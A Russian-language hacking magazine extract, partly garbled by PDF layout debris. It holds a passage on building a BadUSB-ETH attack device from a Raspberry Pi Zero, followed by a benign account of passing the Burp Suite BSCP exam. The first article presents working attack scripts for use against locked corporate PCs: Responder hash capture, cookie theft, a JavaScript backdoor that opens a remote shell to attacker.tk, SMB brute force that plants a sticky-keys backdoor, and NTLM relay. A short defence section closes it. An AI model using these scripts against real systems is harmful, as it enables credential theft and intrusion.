Что касается |
непосредс |
твен |
но атак, то сам PoisonTap реализуе т лишь нес |
|||||||||||||||||||
кольк о из них. Мы же собираемся |
использовать |
всё, что только можно , поэто |
||||||||||||||||||||
му для кастомиза |
ции |
добавим наш будущий атакующий |
скрипт загрузчик |
|||||||||||||||||||
в автозапуск |
: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/etc/rc.local
/bin/sh /home/pi/poisontap/pi_startup.sh # Было изначально от
PoisonTap
/usr/bin/screen -dmS attacks /home/pi/launch_attacks.sh # Наши
доработки
Теперь настро им запуск дополнитель ных атак.
/home/pi/launch_attacks.sh
#!/bin/bash
HOME='/home/pi'
time=$(date +'%H:%M:%S_%d.%m.%Y')
screen -dmS Xorg xinit -- /usr/bin/X :0 -br # (optional) for GUI
scripts
screen -dmS www python3 -m http.server --bind 2.0.0.1 --directory
$HOME 80
cd $HOME
for script in $(find on_network/ -type f -perm -u+x)
do
exec $script usb0 poisontap >> $HOME/poisontap_$time.log &
done
while : # waiting victim
do
echo 1 > /sys/class/leds/led0/brightness
if [ $(arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on usb0/\1/
p' | wc -l) -ne 0 ]
then
break
fi
sleep 0.1
echo 0 > /sys/class/leds/led0/brightness
sleep 1
done
led green on
arp -an | sed -rn 's/\? \(([^\)]+)\) .*\[ether\] on usb0/\1/p' |
while read ip
do
for script in $(find on_client/ -type f -perm -u+x)
do
exec $script $ip "" 1.0.0.1 >> $HOME/poisontap_$time.log &
done
done
tail -f $HOME/poisontap_$time.log
Сразу после подклю чения к атакуемой машине Raspberry включит ся, система запустится , активиру ет эмуляци ю сети по USB и приведен ный выше скрипт автомати чески начне т выполнять ся. Сначала он запусти т глобаль ные ата кующие скрипты (on_network). Затем будет ждать, пока компьютер жертвы не настро ит Ethernet-сеть, на Raspberry это означае т появление нового IP в ARP-кеше. И уже потом он запусти т для нового IP все таргетиро ванные ата кующие скрипты (on_client). При этом результаты всех проверок будут сох ранены в соответс твующий файл на карте памяти устройства .
Получа ется небольшой атакующий движок , позволя ющий автомати чески запускать для каждой цели любые скрипты (sh/py/etc) по своему вкусу . Про тотипы скриптов при этом следующие :
•on_network/script.sh $interface $networkname;
•on_client/script.sh $target_ip $networkname $attacker_ip.
Для автомати ческих атак можно использовать самые популярные уязвимос ти, а также реализовать атаки , специфич ные для локальных сетей, посколь ку с атакуемым компьюте ром образует ся виртуаль ная локальная сеть.
Начнем с глобаль ных атак. В перву ю очередь это, конечно же, responder с его атаками на широковеща тельные запросы , которые тоже будут идти на наш интерфейс. Эти атаки самые перспек тивные и срабаты вают почти всегда :
on_network/responder.sh
#!/bin/bash
echo '[*] running Responder attacks'
iptables -t nat -vnL PREROUTING > /tmp/iptables.txt
if ! cat /tmp/iptables.txt | grep "$1" | grep -q 53; then
iptables -t nat -A PREROUTING -i "$1" -p udp --dport 53 -j
REDIRECT --to-port 53
fi
for port in 21 25 80 88 110 143 389 443 445 1433 3389
do
if ! cat /tmp/iptables.txt | grep "$1" | grep -q " $port";
then
iptables -t nat -A PREROUTING -i "$1" -p tcp --dport $port
-j REDIRECT --to-port $port
fi
done
[[ $(pgrep -f Responder.py) = '' ]] && {
responder -I "$1" -r -d -w -F &
}
inotifywait -e MODIFY -rm /usr/share/responder/logs | while read
event
do
if echo $event | grep -e NTLM -e ClearText --color=auto; then
led yellow on 2> /dev/null
fi
done
Учитывая , что мы перекроем на атакуемом компьюте ре провод ной и беспро водной сетевые интерфейсы (при их наличии), на BadUSB-девайс пойдет множес тво попыток аутентифика ции, которые responder сможе т зафик сировать. И как тольк о будет приня т хотя бы один хеш, на устройстве загорит ся желтая лампочка .
Вместо responder мы можем запустить MITM-атаки на веб и попробовать похитить пролета ющие cookies, попутно внедряя JS-backdoor в веб кеш:
on_network/poisontap.sh
#!/bin/bash
echo '[*] running cookies siphoning and web cache poisoning'
sleep 5 # after captive portal checks
[[ $(pgrep dnsspoof) = '' ]] && {
#screen -dmS dnsspoof dnsspoof -i "$1" port 53
dnsspoof -i "$1" port 53 &
}
[[ $(iptables -t nat -vnL PREROUTING | grep "$1" | grep 1337) = '' ]]
&& {
iptables -t nat -A PREROUTING -i "$1" -p tcp --dport 80 -j
REDIRECT --to-port 1337
}
[[ $(pgrep -f pi_poisontap.js) = '' ]] && {
truncate -s 1 /opt/poisontap/poisontap.cookies.log
nodejs /opt/poisontap/pi_poisontap.js &
}
tail -f /opt/poisontap/poisontap.cookies.log | while read line
do
if echo $line | grep 'Cookie:' --color=auto; then
led yellow on 2> /dev/null
fi
done
Поймав всег о один HTTP-запрос , мы посредс твом PoisonTap начинаем встав
лять цикл редиректов на сайты из poisontap/target_injected_xhtmljs. html, тем самым заставляя браузер переходить на эти сайты и отправлять cookies. Так с заблокиро ван ной рабочей станции можно извлечь сессии к тем или иным веб ресурсам .
Парал лельно с этим произво дится перебор по популярным JS-библиоте кам. Посколь ку это MITM-атака , мы управляем ответом сервера . В каждую из загружа емых JS-библиотек мы внедряем вредонос ный код из poisontap/ target_backdoor.js и выставля ем при этом HTTP-заголовки , заставля ющие веб браузер жертвы закешировать данное содержимое на длитель ный срок:
/home/pi/poisontap/target_backdoor.js
var socket = new WebSocket((location.protocol=='https:'?'wss:':'ws:')
+ "//js_shell.attacker.tk/ws")
socket.onmessage = function(event) {
var result = eval(event.data)
if(result)
socket.send(result)
}
После входа пользовате ля на какой либо сайт, использующий отравленную нами JS-библиоте ку , мы сможем получить JS-шелл к этой веб странице , что позволи т нам выполнить любые действия от имени пользовате ля . Эта атака используе т тот же самый порт, что и responder (80/tcp), и они исключаю т друг друга , поэтому ее запуска ют не напряму ю из pi_startup.sh, а по необ ходимости из атакующе го движка .
Что касается таргетиро ван ных атак, которым нужен IP-адрес, то можно использовать следующий вариант :
on_client/ms17-010.sh
#!/bin/bash
WAIT=2
DPORT=445
#https://github.com/worawit/MS17-010
if nc -nw $WAIT $1 $DPORT < /dev/null 2> /dev/null; then
echo '[*] checking MS17-010'
nmap -Pn -n -p 445 --script smb-vuln-ms17-010 $1 > /tmp/ms17-
010.log 2> /dev/null
if grep 'State: VULNERABLE' /tmp/ms17-010.log --color=auto;
then
led red on 2> /dev/null
fi
fi
Если машина уязвима , то на BadUSB-устройстве загорится красный светоди од. Также старый добрый брутфорс всегда будет актуален :
on_client/bruteforce/smb.sh
#!/bin/bash
WAIT=2
DPORT=445
function pwn(){
echo "[*] try to activate backdoor"
target="$1"
user="$2"
password="$3"
psexec.py "$user:$password@$target" 'reg add "HKLM\SOFTWARE\
Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"' > /
dev/null
}
if nc -nw $WAIT $1 $DPORT < /dev/null 2> /dev/null; then
echo '[*] bruteforcing smb'
for user in администратор administrator admin; do
found=$(medusa -M smbnt -m PASS:PASSWORD -h $1 -u
$user -P on_client/bruteforce/default_pass_for_services_unhash.txt |
grep 'SUCCESS (ADMIN$ - Access Allowed)')
if [ x"$found" != "x" ]; then
led red on 2> /dev/null
echo $found | grep 'SUCCESS' --color=auto
password=$(echo $found|sed -rn 's/.
*Password: (.*) \[SUCCESS.*/\1/p')
pwn "$1" "$user" "$password"
break
fi
done
fi
Если пароль к компьюте ру по SMB будет подобран , то с помощью этого скрипта BadUSB-устройство активиру е т бэкдор на ПК и позволи т нам вызвать командну ю строку еще до входа в систему — через пять нажатий клавиши
Shift.
Аналогич ный брутфорс мы можем выполнить и для RDP, а также , учитывая , что атака кросс платформен на, и для SSH.
Ты, конечн о же, можешь добавить еще ряд атак по своему вкусу , более подходящих под ту или иную ситуацию . Для этого нужно просто поместить соответс тву ющий скрипт в директори ю on_network или on_client. Активиру ют или деактивиру ют атаку при различных сценари ях через установ ку /снятие бита исполняемос ти на соответс тву ющих скриптах (chmod +x on_client/
some_attack.sh).
Когда атака завершена , мы просто вынимаем устройство из USB-порта , все результаты при этом будут сохранены в файл на карте памяти нашего девайса с указани ем даты и времени атаки . Чтобы к моменту извлечения устройства , то есть отключения питания, оно успело сохранить все данные , потребу ется отключить дисковый кеш — так информация будет сразу же писаться на карту памяти:
/etc/fstab
PARTUUID=27b31ed7-02 / ext4 defaults,noatime,sync 0 1
Наконец , завершающий штрих — обработ ка запросов управления световой индикаци ей для выбранных нами контактов :
/usr/local/bin/led
#!/bin/bash
case $1 in
green)
if [ x$2 = "xon" ]; then
raspi-gpio set 26 op dh
elif [ x$2 = "xoff" ]; then
raspi-gpio set 26 op dl
fi
;;
yellow)
if [ x$2 = "xon" ]; then
raspi-gpio set 193 op dh
elif [ x$2 = "xoff" ]; then
raspi-gpio set 139 op dl
fi
;;
red)
if [ x$2 = "xon" ]; then
raspi-gpio set 5 op dh
elif [ x$2 = "xoff" ]; then
raspi-gpio set 5 op dl
fi
;;
esac
Продолжение статьи →
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|||||
|
wClick |
|
BUY |
o m |
COVERSTORY |
|||||
|
to |
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
g |
|
|||
|
p |
|
|
c |
|
|
|
|
||
|
|
df |
|
n |
e |
|
||||
|
|
|
-x ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
← НАЧАЛО СТАТЬИw Click |
|
BUY |
|
m |
|||||||
to |
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
g |
.c |
|
|||
|
|
p |
|
|
c |
|
|
|
|
||
|
|
|
df |
|
n |
e |
|
||||
|
|
|
|
-x ha |
|
|
|
|
|
РАЗБИРАЕМ В ДЕТАЛЯХ АТАКУ BADUSB-ETH
АТАКА НА ЗАБЛОКИРОВАННЫЙ КОМПЬЮТЕР
Теперь идем к заблокиро ван ному компьюте ру и подклю чаем наш Raspberry Pi Zero в качестве атакующе го устройства BadUSB-ETH.
Девайс BadUSB-ETH успешно установи л сетевое соединение с ПК
Через полминуты после подклю чения загорается зеленая лампочка — сеть между устройством и ПК поднялась . В ходе этой атаки на доменных ПК ста бильн о угоняет ся NetNTLM-хеш, так как мы перекрыва ем связь с контрол лером домена и прочими корпоратив ными ресурсами со сквозной аутен тификацией . В указан ном случае загорается желтая лампочка (на это уходит около минуты). А если вдруг загорится красная лампочка , то наши атакующие скрипты задетектили возможный RCE и наш девайс в состоянии даже акти вировать бэкдор . И все это только лишь по USB-проводу !
УДАЛЕННЫЙ ДОСТУП
Наше устройств о способ но уведом лять о результатах атак только с помощью светоди одов. Несомненно , полну ю картину мы всегда сможем увидеть в логах после завершения атаки . Но раз мы хотим атаковать быстро , здесь и сейчас , то нужн о все контро лировать прямо в процес се.
На борту Raspberry Pi Zero W есть Wi-Fi, и это значит , что мы сможем под ключать ся к нему в ходе атаки хоть с телефона , хоть с ноутбука . Добиться это го достаточ но легко — нам потребу ется лишь три конфигура ционных файла . В первом прописы ваем параметры беспро водной сети:
/etc/hostapd.conf
interface=wlan0
driver=nl80211
ssid=badusb
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=s3cr3t_p@ss
Дописы ваем параметры сети для клиентов :
/etc/dhcp/dhcpd.conf
subnet 2.0.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option routers 2.0.0.1;
range 2.0.0.10 2.0.0.10;
option classless-routes 24, 1,0,0, 2,0,0,1;
option classless-routes-win 24, 1,0,0, 2,0,0,1;
}
А собствен ные настрой ки сети на BadUSB-плате указыва ем в следующем файле :
/etc/network/interfaces auto wlan0
iface wlan0 inet static
address 2.0.0.1
netmask 255.255.255.0
Далее активиру ем все это:
systemctl unmask hostapd.service
systemctl enable hostapd.service
vim /etc/default/isc-dhcp-server:
INTERFACESv4="usb0 wlan0"
Тем самым мы реализова ли точку доступа внутри нашего BadUSB. Это поз волит при атаке подклю чать ся к плате по Wi-Fi.
В скрипте launch_attacks.sh (см. выше) на Wi-Fi-интерфейсе также под нимается еще и миниатюр ный веб сервер . С его помощью мы можем получить сведения о найден ных уязвимос тях , просматри вая соответс тву ющие логи во время проведе ния атаки .
Девайс BadUSB-ETH успешно вытянул трафик с ПК, включая учетные данные
На иллюстра ции выше мы видим, что атакуемый ПК отправил нам по USB и хеш пароля учетной записи, и cookie для доступа к веб почте .
Доступ к ПК
Если на нашем устройстве загорится красный светоди од и оно задетектит критичес ку ю уязвимость либо подбере т пароль, этим нужно также оператив но восполь зовать ся . Однако устройство без клавиату ры и дисплея не самое удобное средств о для интерак тивной эксплу ата ции . Но раз внутри девайса есть уже настро енный Wi-Fi, это значит , что он может использовать ся в роли шлюза для доступа к целевому ПК прямо в ходе атаки . Ранее в самой пос ледней строке скрипта pi_startup.sh мы как раз активиро вали данну ю воз можность.
Например , так мы можем запустить на телефоне RDP-клиен т и войти на атакуемый ПК с подобранным паролем.
Устрой ств о BadUSB-ETH предос тавля е т сетевой доступ до атакуемо го ПК по USB
Возможность сетевого доступа к компьюте ру жертвы через BadUSB может быть использована для развития дальнейших атак уже с привлечени ем хакер ских ноутбуков со сканера ми уязвимос тей либо для постэкс плу ата ции .
Доступ от ПК
Wi-Fi на плате Raspberry Pi может быть использован еще и для передачи тра фика в обратном направле нии — от компьюте ра жертвы в сторону атакующе го. Атака BadUSB имее т крайне большой потенциал , и мы можем придумать сценарии атак, в ходе которых требует ся связать атакующее BadUSB-устрой ство с внешним миром.
Отличный пример такой атаки — это угон админско го хеша и «открывание » им контрол лера домена, где, как известно , хранит ся «ключ от всех дверей ».
С помощью следующе го атакующе го скрипта мы сможем задейство вать утекший NetNTLM-хеш, отправив его по Wi-Fi на другое устройство , чтобы затем реализовать атаку обхода аутентифика ции.
on_network/ntlmrelay.sh
#!/bin/bash
ATTACKER=2.0.0.10
for port in 80 445
do
if ! iptables -t nat -vnL PREROUTING | grep "$1" | grep -q "
$port"; then
iptables -t nat -A PREROUTING -i "$1" -p tcp --dport $port
-j DNAT --to-destination $ATTACKER:$port
fi
done
iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
Теперь находим залоченный комп админа . Пока хозяин компа отсутству ет, быстр о вставляем в свобод ный USB-порт наш BadUSB-девайс. Как только устройств о загрузит ся, сразу же подклю чаемся к нему по Wi-Fi, например
с телефона (для удобства атакующий получае т всегда фиксирован ный IPадрес 2.0.0.10), и запускаем на телефоне скрипт для перенаправле ния NTLM-аутентифика ции.
Девайс BadUSB-ETH успешно перенаправи л «вытянутый » NetNTLM-хеш на телефон, который скомпро мети рова л сервер
BadUSB-девайс, вытянув NetNTLM-хеш учетки админис тра тора домена, отправляе т его на телефон через Wi-Fi для дальнейше го использования . Телефон ловит его и используе т этот самый хеш для аутентифика ции от име ни админа на произволь ном внутреннем узле, возможно , даже на контрол лере домена. Подобная атака с некоторыми вариациями позволи т хакнуть практичес ки любой корпоратив ный комп или сервер , используя физический доступ к USB-порту .
ЗАЩИТА
Нужн о понимать, что при такой BadUSB-атаке каждый раз создает ся новый сетевой интерфейс. Поэтому не получится просто отключить его в сетевых настрой ках , так как его там попросту нет. Каждый раз, когда подклю чает ся BadUSB-девайс, интерфейс будет создавать ся заново, а по извлечении уда ляться . В итоге атака получается скрытной : когда она завершится , не оста нется ни сетевог о интерфейса , ни изменен ных сетевых настро ек — операци онная система сама возвра щае т все в исходное состояние .
Для защиты от продемонс три рован ных атак рекомендует ся применять специали зиро ван ные програм мные решения, которые ограничи ваю т исполь зование сторон них USB-устройств , то есть блокиру ю т USB-устройства не из доверенног о списка (white list).
Альтер нативным способом защиты может быть также запре т подклю чения USB-сетевых карт в групповых политиках . Еще более простой и очевид ный способ защиты — ограничить физический доступ посторон них лиц к потен циальн о уязвимому компьюте ру.
|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
BUY |
o m |
ВЗЛОМ |
|||||
|
to |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
c |
|
|
|
|
||
|
p |
|
|
|
|
g |
|
|
||
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
КАК Я СДАВАЛ НОВЫЙ ЭКЗАМЕН СОЗДАТЕЛЕЙ
BURP
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
.c |
|
||
|
|
p |
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
Недав но я успешно сдал сертифика цию
Burp Suite Certifed Practitioner (BSCP) ком
пании PortSwigger и хочу поделиться своим опытом . В этой статье я расска жу , с какими
подводны |
ми |
камнями |
тебе придет ся стол |
|
кнуться на |
экзамене |
и при подготов |
ке |
|
к нему. |
|
|
|
|
W0lFreaK
Независимый исследователь веба https://t.me/pain_test wolfreak449@gmail.com
Я работаю аудитором информацион ной безопасности , основной мой про филь — тестирова ние безопасности веб приложе ний . До того как начать изу чение материалов BSCP, я уже имел представ ление о OWASP Top-10 и экс плуата ции базовых веб уязвимос тей (SQL-инъекции , XSS, SSTI и другие ). Однак о этог о оказалось недостаточ но , чтобы успешно и быстро пройти сер тификацию . Активная подготов ка к ней заняла у меня около трех месяцев, а финальный экзамен я сдал с четвертой попытки .
ПОДГОТОВКА
Для сдачи BSCP необходимо зарегистри ровать ся и начать обучение на плат форме PortSwigger Academy. Весь материа л здесь беспла тен , а это боль ше 200 практичес ких лаборатор ных работ и больше 100 страниц теоретичес ких материалов , изложен ных понятным и доступным языком . Для каждой из лабораторок есть авторское решение, куда можно подгля дывать , если что то неясно .
Лабора тор ные работы разделены по темам и трем уровням сложности : Apprentice, Practitioner и Expert. Для успешной сдачи сертифика ции авторы курса рекоменду ют выполнить как минимум все лаборатор ные работы первых двух уровней сложности . В лабах уровня Expert зачастую , чтобы справить ся с заданием , необходимо комбиниро вать несколь ко уязвимос тей .
Также существу ет режим Mystery Labs, в котором система случай ным образом выдае т лаборатор ные работы по выбранной тематике и выбранно го уровня сложности . При подготов ке к реальному экзамену это самый эффективный режим, именно его я рекомендую активно использовать , помимо чтения теоретичес кого материала . На платформе регулярно появ ляются новые лекцион ные материалы , ресерчи и свежие лаборатор ные работы.
ЭКЗАМЕН |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Попыт ки сдачи приобре |
тают |
ся за 99 американ |
ских |
долларов |
. Однако сущес |
|||||||||||||||||||||||||||||||||
твуют способы |
получить попытку бесплат |
но или с большой |
скидкой , об этом |
|||||||||||||||||||||||||||||||||||
расска жу подробнее |
в разделе |
советов. Перед экзаменом |
необходимо |
прой |
||||||||||||||||||||||||||||||||||
ти валидаци ю в системе |
прокторин |
га . По моему опыту (который подтвер |
дила |
|||||||||||||||||||||||||||||||||||
поддер жка ), на этом экзамене |
прокторинг |
применя |
ется |
|
исключитель |
но |
||||||||||||||||||||||||||||||||
для провер ки личности |
|
|
по предос тавлен |
ному |
документу и не предполага |
ет |
||||||||||||||||||||||||||||||||
мониторинг |
непосредс |
твен |
но в процес се сдачи . Никто не будет следить |
|||||||||||||||||||||||||||||||||||
за тобой через веб камеру и контро лиро |
вать |
твои действия |
(приве т OSCP). |
|||||||||||||||||||||||||||||||||||
Однак о после завершения |
экзамена |
техподдер |
жка |
может попросить |
у тебя |
|||||||||||||||||||||||||||||||||
предос тавить |
проек т Burp с экзамена |
. Если этого не сделать |
, попытку анну |
|||||||||||||||||||||||||||||||||||
лируют . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
На экзамене |
тебе дают два веб приложе |
ния , каждое |
из которых содержит |
|||||||||||||||||||||||||||||||||||
по три уязвимос |
ти . Приложе |
ния генерируют |
ся случай но . Даже этапы прохож |
|||||||||||||||||||||||||||||||||||
дения каждог о из |
|
|
приложе |
ний |
|
|
выбираются |
случай ным |
образом . |
|||||||||||||||||||||||||||||
Для успешной сдачи тебе необходимо |
выполнить |
все шесть этапов за четыре |
||||||||||||||||||||||||||||||||||||
часа. На каждой из машин ты должен |
пройти этапы в следующем |
порядке : |
|
|
1.Получить доступ к учетной записи непривиле гированного пользовате ля. Первичн о у тебя нет авторизо ванного доступа к веб приложе нию, и твоя задача — этот доступ получить (через XSS, Request Smuggling, Cache Poisoning, User Enumeration, Host Header Injection).
2.Провес ти эскалаци ю привиле гий и получить учетную запись, обладающую привиле гиями админис тратора веб приложе ния (через SQL Injection, CSRF, SSRF, Parameter Tampering, Business Logic Bypass).
3.Через панель админис трирования веб ресурса получить доступ к содер жимому локальног о файла /home/carlos/secret или же к файловому хранили щу, размещен ному по адресу localhost на порте 6566 (через
SSRF, Deserialization, Path Traversal, XXE (OOB), OS Command Injection).
Ксчастью, у PortSwigger есть пробный экзамен , который дает возможность заранее оценить , что тебя будет ждать на настоящем . Обязатель но выполни его (и лучше не один раз) до основной попытки . Задания из экзамена не ограничи ваются знаниями , полученными из теоретичес кого материала
и лабораторок . Здесь спокой но может встретить ся уязвимость , замас кированная под другую , или уязвимость , в принципе не рассмот ренная в учебном курсе . Поэтому советую запастись терпени ем , креатив ным мыш лением и навыками быстро го и эффективного поиска в Google.
КРОЛИЧЬИ НОРЫ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
Сдавая |
сертифика |
цию , я несколь |
ко раз встречал |
«уязвимые |
» |
|
фрагменты |
||||||||||||||||||||||||||||||||||
кода, которые в результате |
несколь |
ких часов анализа |
и безуспешных |
попыток |
|||||||||||||||||||||||||||||||||||||
эксплу ата ции |
|
возможной |
уязвимос |
ти |
|
не |
давали |
|
никакого |
|
результата . |
||||||||||||||||||||||||||||||
В финальном |
экзамене |
может быть несколь |
ко тупиковых уязвимос |
тей , поэто |
|||||||||||||||||||||||||||||||||||||
му всегда помни , что может понадобить |
ся искать альтер натив |
ный |
путь прод |
||||||||||||||||||||||||||||||||||||||
вижения. На третьем уровне с высокой долей вероятности |
уязвимость |
||||||||||||||||||||||||||||||||||||||||
не будет являться тем, чем кажется на первый |
взгляд. Например |
, |
если |
||||||||||||||||||||||||||||||||||||||
на финальном |
уровне ты видишь пример |
XML-файла для загрузки |
, это вовсе |
||||||||||||||||||||||||||||||||||||||
не обязатель |
н о будет значить , что получится прочитать |
файл через эксплу |
|||||||||||||||||||||||||||||||||||||||
атаци |
ю XXE. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
МОИ ПОПЫТКИ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
Итак, мне понадобилось |
четыре попытки , чтобы успешно пройти экзамен . |
||||||||||||||||||||||||||||||||||||||||
За первые две попытки я преодо ле л три из шести уровней . В первом |
случае я |
||||||||||||||||||||||||||||||||||||||||
не смог прочитать |
|
|
локальный |
файл в первом |
приложе |
нии |
и повысить при |
||||||||||||||||||||||||||||||||||
вилегии во втором . Во второй |
попытке пример но через час от начала экза |
||||||||||||||||||||||||||||||||||||||||
мена я смог полностью |
выполнить |
все этапы первого |
приложе |
ния . К сожале |
|||||||||||||||||||||||||||||||||||||
нию, в следующие |
|
три часа я так и не сумел похитить сессию |
пользовате |
ля |
|||||||||||||||||||||||||||||||||||||
во втором |
приложе |
нии . Я думаю, что угоди л в одну из тупиковых линий экс |
|||||||||||||||||||||||||||||||||||||||
плуата ции , однак о выявить другие уязвимос |
ти в приложе |
нии за это время мне |
|||||||||||||||||||||||||||||||||||||||
не удалось |
. На третьей попытке я продвинул |
ся дальше : 5–6 уровней я прошел |
|||||||||||||||||||||||||||||||||||||||
через |
30 |
|
минут после |
начала |
экзамена |
. |
Впрочем |
, |
|
за |
следующие |
три |
|||||||||||||||||||||||||||||
с половиной |
|
часа |
|
у меня так и не вышло |
прочитать |
локальный |
файл. |
||||||||||||||||||||||||||||||||||
И наконец, четвертая |
попытка увенчалась |
успехом . Спустя три часа от начала |
|||||||||||||||||||||||||||||||||||||||
экзамена |
я прочита |
л оба локальных файла . |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||||
СОВЕТЫ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
1. Перед |
|
тем |
как |
|
|
пытаться сдать экзамен , обязатель |
но |
изучи материал |
|||||||||||||||||||||||||||||||||
и |
порешай |
лаборатор ные |
по |
|
темам |
Cross-Site |
Scripting, |
|
Web |
Cache |
Poisoning, XML External Entity, Server-Side Request Forgery, Server-Side Template Injections, HTTP Host Header attacks, Path traversal, Insecure Deserialization, File upload attacks. При этом Client-Side-уязвимос ти, скорее всего , потребу ют дополнитель ного обхода фильтров или обфускации наг рузки.
2.На экзамене встречают ся задачи, которые не приводят ся в теоретичес ком материале и лаборатор ных работах (например , XXE OOB). Не забывай пользовать ся подборка ми нагрузок .
3.В начале экзамена обязатель но напусти встроенный сканер Burp Suite на целевые приложе ния. Еще есть смысл запускать отдельные сканы на предполага емые параметры и пути приложе ния.
4.Будь готов к тому, что придет ся брать несколь ко попыток пересдачи . Нередк о бывало, что для достижения успеха требова лось больше семи попыток. Разбирай то, что не получилось решить, и пытайся снова .
5.Если потрати л больше часа на попытки получить начальный доступ , но так и не смог его добиться , переходи ко второму приложе нию. Я заметил, что
на одной из двух машин зачасту ю попадаются крайне тривиаль ные уяз вимости и способы их эксплу ата ции , в то время как вторая многок ратно сложнее и требуе т проявить фантазию .
6.Не забывай, что обязатель но пройти путь «Обычный пользователь — админис тратор — чтение локального файла ». Не стои т зря надеять ся и тратить время на попытки найти возможность чтения локального файла , не обладая учетной записью админис тратора. Не пытайся обмануть сис тему!
7.Когда решаешь лаборатор ные работы, обязатель но делай заметки . Они тебя выручат при поиске конкрет ной нагрузки на экзамене .
8.Если смог самостоятель но без подска зок прорешать все лаборатор ные уровней Apprentice и Practitioner, шансы на успех высоки. Однако тебе по прежнему придет ся проявлять творчес тво и черпать недостающую информаци ю в Google: разбирать ся в методах эксплу атации и искать под ходящие нагрузки .
9.В процес се обучения вникай в то, как работаю т нагрузки для уязвимос тей. Если в задании требует ся вывести alert() на экран другог о пользовате
ля, попробуй |
создать |
иную, более сложную |
нагрузку |
(например |
, |
|
для хищения его сессии ). На экзамене |
эти заметки будут крайне полезны . |
|
10.Лицен зия Burp Professional не требует ся для сдачи экзамена . Он может быть выполнен и с помощью бесплат ной версии . Однако версия Pro будет значитель но удобнее благода ря инстру менту Collaborator.
11.Обязатель но сохраняй рабочий проек т Burp с попытки сдачи экзамена . Техподдер жка может запросить его, когда ты экзамен сдашь. Однако и в случае неуспешной попытки он будет полезен для анализа и подготов ки к следующим попыткам .
12.Лайфхак : в конце почти каждого месяца дают еще одну бесплат ную попыт ку тем, кто в этом месяце оплати л экзамен , но не сдал его. Официаль ных объявле ний об этой акции они не публику ют, однако техподдер жка охотно делится такой информацией в ответ на запрос . А в конце каждого года (в «черну ю пятницу » или Рождес тво) компания устраивае т специаль ные скидки и акции на получение бесплат ных или удешев ленных попыток сда чи. Например , в 2021 году во время действия акции можно было при обрести попытку сдачи за 9 долларов вместо 99.
ВЫВОДЫ
